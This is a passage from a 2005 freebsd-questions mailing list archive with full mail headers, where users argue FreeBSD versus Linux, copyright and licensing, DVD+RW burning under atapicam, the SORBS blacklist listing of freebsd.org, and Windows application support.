on the subject. > > The main reason why I consider Linux inferior to FreeBSD is that Linux > is only a kernel, whereas FreeBSD is a complete OS. > > Linus Torvalds originally wrote only the kernel portion of an operating > system. He wrote it from scratch ------------^ allegedly wrote it from scratch. SCO feels differently. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 10:59:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8C46816A4CE for ; Sat, 12 Feb 2005 10:59:46 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 492F443D3F for ; Sat, 12 Feb 2005 10:59:46 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 2B27E1C000B0 for ; Sat, 12 Feb 2005 11:59:45 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 118631C00095 for ; Sat, 12 Feb 2005 11:59:45 +0100 (CET) X-ME-UUID: 20050212105945719.118631C00095@mwinf1108.wanadoo.fr Date: Sat, 12 Feb 2005 11:59:42 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <419495237.20050212115942@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <295532666.20050212113330@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 10:59:46 -0000 Ted Mittelstaedt writes: > What we don't want are a lot of the kinds of users that infest the > Linx forums - people that pester, pester, pester for answers to > questions in the manual, then once they figure out how to get > what small item they want to work, they are never seen or heard > from in those groups again. I think you'll find that such people are overwhelmingly desktop users. People building and running servers tend to be quite different. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:01:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3F7CC16A4CE for ; Sat, 12 Feb 2005 11:01:31 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 78EA643D6A for ; Sat, 12 Feb 2005 11:01:30 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id AC057530D; Sat, 12 Feb 2005 12:01:28 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 2FFB95308; Sat, 12 Feb 2005 12:01:00 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id A675933C1B; Sat, 12 Feb 2005 12:00:59 +0100 (CET) To: Anthony Atkielski References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> <467538167.20050211234639@wanadoo.fr> From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 12:00:59 +0100 In-Reply-To: <467538167.20050211234639@wanadoo.fr> (Anthony Atkielski's message of "Fri, 11 Feb 2005 23:46:39 +0100") Message-ID: <867jlevy8k.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING,UPPERCASE_25_50 autolearn=disabled version=3.0.1 cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:01:31 -0000 Anthony Atkielski writes: > Joshua Tinnin writes: > > I don't think you understand the history of FreeBSD. Many people who > > work at Yahoo! are committers, and their employer not only knows about > > this but encourages it. > That's not good enough. The employer has to assign its copyrights as > well, or waive the usual work-for-hire arrangement that is implicit for > employees writing code within the scope of their work. Copyright does not enter the equation at all. What matters is the license. For instance: des@xps ~% head -35 /usr/src/contrib/openpam/include/security/openpam.h /*- * Copyright (c) 2002-2003 Networks Associates Technology, Inc. * All rights reserved. * * This software was developed for the FreeBSD Project by ThinkSec AS and * Network Associates Laboratories, the Security Research Division of * Network Associates, Inc. under DARPA/SPAWAR contract N66001-01-C-8035 * ("CBOSS"), as part of the DARPA CHATS research program. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPO= SE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTI= AL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRI= CT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $P4: //depot/projects/openpam/include/security/openpam.h#28 $ */ DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:02:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8A07A16A4CE for ; Sat, 12 Feb 2005 11:02:25 +0000 (GMT) Received: from abigail.blackend.org (blackend.org [212.11.35.229]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A18B43D2F for ; Sat, 12 Feb 2005 11:02:24 +0000 (GMT) (envelope-from marc@blackend.org) Received: from nosferatu.blackend.org (nosferatu.blackend.org [192.168.10.205])j1CB2IC0033142; Sat, 12 Feb 2005 12:02:18 +0100 (CET) (envelope-from marc@abigail.blackend.org) Received: from nosferatu.blackend.org (localhost.blackend.org [127.0.0.1]) j1CB2IIG000985; Sat, 12 Feb 2005 12:02:18 +0100 (CET) (envelope-from marc@nosferatu.blackend.org) Received: (from marc@localhost) by nosferatu.blackend.org (8.13.1/8.13.1/Submit) id j1CB2GBu000984; Sat, 12 Feb 2005 12:02:16 +0100 (CET) (envelope-from marc) Date: Sat, 12 Feb 2005 12:02:16 +0100 From: Marc Fonvieille To: Xian Message-ID: <20050212110216.GC606@nosferatu.blackend.org> References: <200502102147.10722.ian@codepad.net> <420C3513.9060007@mac.com> <200502121023.49960.ian@codepad.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <200502121023.49960.ian@codepad.net> User-Agent: Mutt/1.4.2.1i X-Useless-Header: blackend.org X-Operating-System: FreeBSD 5.3-STABLE cc: freebsd-questions@freebsd.org Subject: Re: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:02:25 -0000 On Sat, Feb 12, 2005 at 10:23:49AM +0000, Xian wrote: > On Friday 11 February 2005 04:31, Chuck Swiger wrote: > > Xian wrote: > > > I am trying to format a DVD+RW as I gather this kind of DVD needs. I > > > tried growisofs and it told me: > > > > > > * DVD±RW/-RAM format utility by , version 4.10. > > > > > > :-( unable to open("/dev/acd0"): Inappropriate ioctl for device > > > > Did you rebuild your kernel with the ATAPICAM option enabled? > > I didn't have. I just added 'device atapicam' and it is still giving me the > same errors. > > Looked on the man page, and found: > > device ata > device atapicam > device scbus > device cd > device pass > > I guess I need them as well? (Re-compiles _again_). Will I have to use the > burner through cd0 or acd0 now? > It also recommended against having a SCSI and an ATA representation of each > drive. Would it be safe to remove device acd from the kernel and only use cd > now? You did not read the URL I pasted in a previous mail :( Marc From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:10:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 621B816A4CE for ; Sat, 12 Feb 2005 11:10:31 +0000 (GMT) Received: from asmtp04.eresmas.com (asmtp04.eresmas.com [62.81.235.144]) by mx1.FreeBSD.org (Postfix) with ESMTP id A01BA43D31 for ; Sat, 12 Feb 2005 11:10:30 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.52] (helo=mx01.eresmas.com) by asmtp04.eresmas.com with esmtp (Exim 4.30) id 1CzvAT-0001ct-1G for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 12:10:29 +0100 Received: from [80.103.53.100] (helo=[80.103.53.100]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1CzvAR-0001m2-2K for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 12:10:28 +0100 Message-ID: <420DE422.3020102@wanadoo.es> Date: Sat, 12 Feb 2005 12:10:26 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> In-Reply-To: <823196404.20050212105644@wanadoo.fr> X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:10:31 -0000 Anthony Atkielski wrote: [...] > > Still another reason why I prefer FreeBSD is that it places far less > emphasis on the desktop. Linux has been moving more and more towards a > desktop because that's where the hype and money is perceived to be. [...] Hello Anthony and FreeBSD fans I use Debian as my main system and I do not agree with you. I do not think that Linux distributions I use are doing more enphasis on the desktop. At least on Debian or Gentoo (the distros I know) you always have the choice (the whole OS) to install or not the X-window system. They also have a "base system" concept. If you need a server you only install the software you need for the server. If you want a desktop full of bells ans whistles, you install the X-window System, and whatever window manager you like. I think it is the same for FreeBSD. I have seen that the great ports collection contains the same software that I have on Debian. > Unfortunately, a kernel alone doesn't make an operating system. So > people began adding programs to the kernel in order to provide something > complete enough to actually run as an OS. Different organizations added > a different mix of programs, and each mix today is called a > "distribution." No two distributions are alike. The set of programs > you get in your Linux OS from Red Hat isn't the same as the set of > programs you get in your OS from Debian, and so on. > > The Linux situation is pretty unusual. Most operating systems, > including FreeBSD, are supplied as complete operating systems from the > start, including not only a kernel but also a comprehensive, coherent, > and consistent set of system programs to run under that kernel. You > don't need a "distribution"; the OS already contains everything you need > to run the system. In my view, this greatly improves reliability, > stability, and coherent of the OS, as there is only one version of the > OS for each release, and it is complete in itself. I asume that the Debian guys are expertise enough to put that "mix" in a comprehensive, coherent,and consistent set of system programs to run under Linux kernel, as you say. My system also never hangs and works very well. So I agree with Nick, I think Linux and FreeBSD are two great OSes, and that each one has its pros and cons. Choosing one or the other, is a matter of taste. I although have observed that in this list, some of you hate Linux. I have never seen insults to FreeBSD in the Debian e-mail lists. They some times talk about some experiences about FreeBSD, but never say things like " such crap FreeBSD ......" as I have heard here many times. Be in peace my friends. Anyway, I like both very much, I am following this e-mail list and playing with my FreeBSD install in another slice to get confortable and perhaps, one day, I will change. Also I try to help the FreeBSD proyect submitting some bug reports as I found them. I am not an expert but I enjoy helping others. PS: I am a christian and I DO NOT see any reasons to hate the beastie. I love the beastie, I find it nice, pleasant and kind. I like it very much. Do not change it please! ;-) Sorry for my bad english. Enjoy the Free OSes. Ramiro. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:12:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 10C5A16A4CE for ; Sat, 12 Feb 2005 11:12:08 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8A69543D2F for ; Sat, 12 Feb 2005 11:12:07 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id D7B64FD01F; Sat, 12 Feb 2005 12:12:05 +0100 (CET) Message-ID: <420DE485.7040308@locolomo.org> Date: Sat, 12 Feb 2005 12:12:05 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Peterhin References: <200502112313.28082.hindrich@worldchat.com> In-Reply-To: <200502112313.28082.hindrich@worldchat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: Anthony Atkielski cc: freebsd-questions@freebsd.org Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:12:08 -0000 Peterhin wrote: > "Linux is inferior to FreeBSD, and yet it is taken more seriously > because of the atmosphere around it, despite its technical inferiority" You can find countless comparisons suporting either as superior - just the recent mysql benchmark supports linux/gentoo. This kind of comparison is hardly relevant today, it is almost always cheaper to throw more hardware on than trying to get the most of what you have - just how many more machines could you have bought for a months salary? I think FreeBSD is superior, not necesarily in every line of code or every technical detail, and not necesarily in raw performance, allthough this is often claimed. I think FreeBSD boosts administrator performance. I spend less time maitaining my systems and resolving dependencies or debugging, than I did on RedHat, Debian or Gentoo. That time is precious, this is where you can save on the IT budget, so using FreeBSD is a good investment. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:13:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 984A016A4CE; Sat, 12 Feb 2005 11:13:06 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4A0A943D1F; Sat, 12 Feb 2005 11:13:06 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id E9A01530D; Sat, 12 Feb 2005 12:13:04 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id 7A16D5308; Sat, 12 Feb 2005 12:12:23 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id 619F033C1B; Sat, 12 Feb 2005 12:12:23 +0100 (CET) To: "Ted Mittelstaedt" References: From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 12:12:23 +0100 In-Reply-To: (Ted Mittelstaedt's message of "Fri, 11 Feb 2005 23:12:42 -0800") Message-ID: <863bw2vxpk.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING autolearn=disabled version=3.0.1 cc: Robert Marella cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:13:06 -0000 "Ted Mittelstaedt" writes: > With BSD, the copyrights on it are held by the University of Berkeley > and by the FreeBSD Project. No, they aren't. RTFS. Just a couple of examples: des@xps ~% grep -r 'Copyright.*Dag-Erling' /usr/src | wc -l 59 des@xps ~% grep -r 'Copyright.*Poul.Henning' /usr/src | wc -l 109 des@xps ~% grep -r 'Copyright.*Matt.*Dillon' /usr/src | wc -l 30 des@xps ~% grep -r 'Copyright.*Network.*Associates' /usr/src | wc -l 334 (about a third of the code in the latter category was written by yours truly under contract) DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:18:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C667C16A4CE for ; Sat, 12 Feb 2005 11:18:24 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 59EC843D39 for ; Sat, 12 Feb 2005 11:18:24 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CBIIj31554; Sat, 12 Feb 2005 03:18:19 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Date: Sat, 12 Feb 2005 03:18:17 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <20050212042318.GA34223@fw.farid-hajji.net> Importance: Normal Subject: RE: mx2.freebsd.org in SORBS, AGAIN! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:18:24 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of > cpghost@cordula.ws > Sent: Friday, February 11, 2005 8:23 PM > To: freebsd-questions@freebsd.org > Subject: mx2.freebsd.org in SORBS, AGAIN! > > > Hello, > > for some reason, mx2.freebsd.org is being repeatedly added to, > and some days later removed from the SORBS dnsbl. They keep > adding it, and then removing it with a reason: Listed in error. > Right now, it's listed again. > > >From their DB page http://www.dnsbl.us.sorbs.net/lookup.shtml > > Database of servers sending to spamtrap addresses > Address: 216.136.204.119 > Record Created: Mon Jan 31 10:14:47 2005 GMT > Record Updated: Thu Feb 10 04:59:33 2005 GMT > Additional Information: Received: [email] > Currently active and flagged to be published in DNS > > This is going on for many days now, and the only workaround > (or solution?) is to avoid SORBS until they fixed that problem > for good. > > Does anyone know what's going on there? > A spammer is forging several of SORBS spamtrap e-mail addresses on their outgoing spams. The spams hit freebsd.org which of course is bouncing them back to the sender, which is in this case is the spamtrap e-mail addresses. This triggers the SORBS autolisting. I don't know if the spammer knows that they have stumbled over a SORBS spamtrap address or not. They probably have figured it out by now, though, and are now deliberatly attacking SORBS by repeatingly sending out spams with the forged spamtrap address. The goal of course is to do EXACTLY as you are advocating - to get people to stop using SORBS. If enough people do this then SORBS becomes ineffective and we have just lost one more blacklist. If your using sendmail, you should be able to workaround this by putting the freebsd.org mailserver's IP address in your access.db file, that should override the lockout check. (assuming your using sendmail to call SORBS) If your using SORBS from SpamAssassin, then you can whitelist the freebsd mailing list traffic. If this is the case it will be very difficult for the SORBS operators to figure out which ones of their honeypots have been compromised, if the spammer knows what they are doing. I personally don't use SORBS on my mailservers, but not because I don't think they are a good blacklist. I really don't know enough about them to know if they are good or not. However I do run a script that examines the counts of mail blocked by blacklist servers, and I periodically review them and prune away the blacklist servers that appear to be ineffective. I would suggest that you do the same and use the results of this to determine whether to continue using SORBS. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:22:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 44DFF16A4CE for ; Sat, 12 Feb 2005 11:22:52 +0000 (GMT) Received: from out011.verizon.net (out011pub.verizon.net [206.46.170.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id A33DB43D45 for ; Sat, 12 Feb 2005 11:22:51 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out011.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212112246.CSRF28171.out011.verizon.net@ringworm.mechee.com> for ; Sat, 12 Feb 2005 05:22:46 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 7D7892CE740; Sat, 12 Feb 2005 03:18:21 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 03:18:18 -0800 User-Agent: KMail/1.7.1 References: <200502120122.33589.reso3w83@verizon.net> <823306184.20050212113045@wanadoo.fr> In-Reply-To: <823306184.20050212113045@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120318.18929.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out011.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 05:22:45 -0600 Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:22:52 -0000 On Saturday 12 February 2005 02:30 am, Anthony Atkielski wrote: > Michael C. Shultz writes: > > I Agree! My FreeBSD desktop is very stable and user friendly. What > > ever time I spend fixing/managing desktops is on my friends windows > > machines, never my own because it always just works. > > Maybe you can explain to me how to get the following applications to > run on a FreeBSD desktop: > > Adobe Photoshop > Adobe Illustrator > Quark XPress > The Sims 2 > Flight Simulator > UltraEdit > Visual InterDev > Microsoft Word > Microsoft Excel > Microsoft PowerPoint > Microsoft Money > The Bat! In ports > Opera* In ports > Firefox > Microsoft Internet Explorer > Corel KnockOut > Flight Check > Bar Code Pro > MathType > SecureFX > SecureCRT > SFS > Rebel > Fritz 6.0 > POV-Ray > Adobe PageMaker > Adobe Streamline > Adobe Acrobat (full version) > Paint Shop Pro > Palm Desktop > SimCity > GeoClock > Ear Test > BlitzIn > Audio MP3 Editor pan is better, in ports > Forte Agent > Movie Maker > Nikon Scan > Rainbow > Wacom Intuos > > However, I should point out that I also have applications that will > not run on Windows: > > BIND > sendmail > syslog > sshd > ProFTP > SFTP What about the other 12000 ports? How do they do in windows? Likely there is a *FREE* port for most of what you listed above. And if you wish to donate half of what you paid for each of those listed programs there would likely be a port author willing to customize/improve their port version just for you..... > > The list is not long for FreeBSD, but every one of these applications > is a critical application, and most must run without fail 24 hours a > day, seven days a week. Any one of them is enough to justify running > a dedicated FreeBSD server. At best windows can run two or three major applications at once before it pukes. On my lowly 256meg 1Gz machine I have 18 desktops, in those 18 desktops I normally have 3 to 4 major apps running, in two desk tops I have 2 terms with 4 tabs each running programs, and a handful of documents opened in the other desk tops. With all that going on in the foreground, in the background all of my apps are being automatically and continuously updated. When I want a break from work I open a move with mplayer and watch it with out worrying about shutting anything else down, and if I need a music fix, xmms solves it. Sometimes I'll go two weeks before rebooting. and when I do reboot it isn't because I have to, it is just an old hard to break habit picked up from my windows days. It was like going through withdrawl, not being able to defrag my drives, took a few years before I finally believed not all file systems frag themselves to death. > > For this reason, I have several machines: a FreeBSD server, a Windows > XP desktop, and a Windows NT server used as a desktop (to support > some legacy applications). Windows is crap, I feel sorry for you that you have to use it. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:23:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5822116A4CE for ; Sat, 12 Feb 2005 11:23:37 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id F3D8A43D2D for ; Sat, 12 Feb 2005 11:23:36 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 39A2B1C000A6 for ; Sat, 12 Feb 2005 12:23:36 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 215BA1C00091 for ; Sat, 12 Feb 2005 12:23:36 +0100 (CET) X-ME-UUID: 20050212112336136.215BA1C00091@mwinf1109.wanadoo.fr Date: Sat, 12 Feb 2005 12:23:35 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1164700865.20050212122335@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <823306184.20050212113045@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:23:37 -0000 Ted Mittelstaedt writes: > You got to be kidding - you actually prefer this over trn? ;-) I've never used trn. Forte Agent works fine for me. I originally used Outlook Express but I couldn't put custom quote headers into it, and so I switched. Ultimately Agent turned out to be very superior to OE. Neither runs on FreeBSD, however. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:25:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0EE0B16A4E5 for ; Sat, 12 Feb 2005 11:25:14 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id AF60143D5C for ; Sat, 12 Feb 2005 11:25:13 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id E7A721C000AC for ; Sat, 12 Feb 2005 12:25:12 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id CF12B1C000A8 for ; Sat, 12 Feb 2005 12:25:12 +0100 (CET) X-ME-UUID: 20050212112512848.CF12B1C000A8@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 12:25:05 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <32095862.20050212122505@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <867jlevy8k.fsf@xps.des.no> References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> 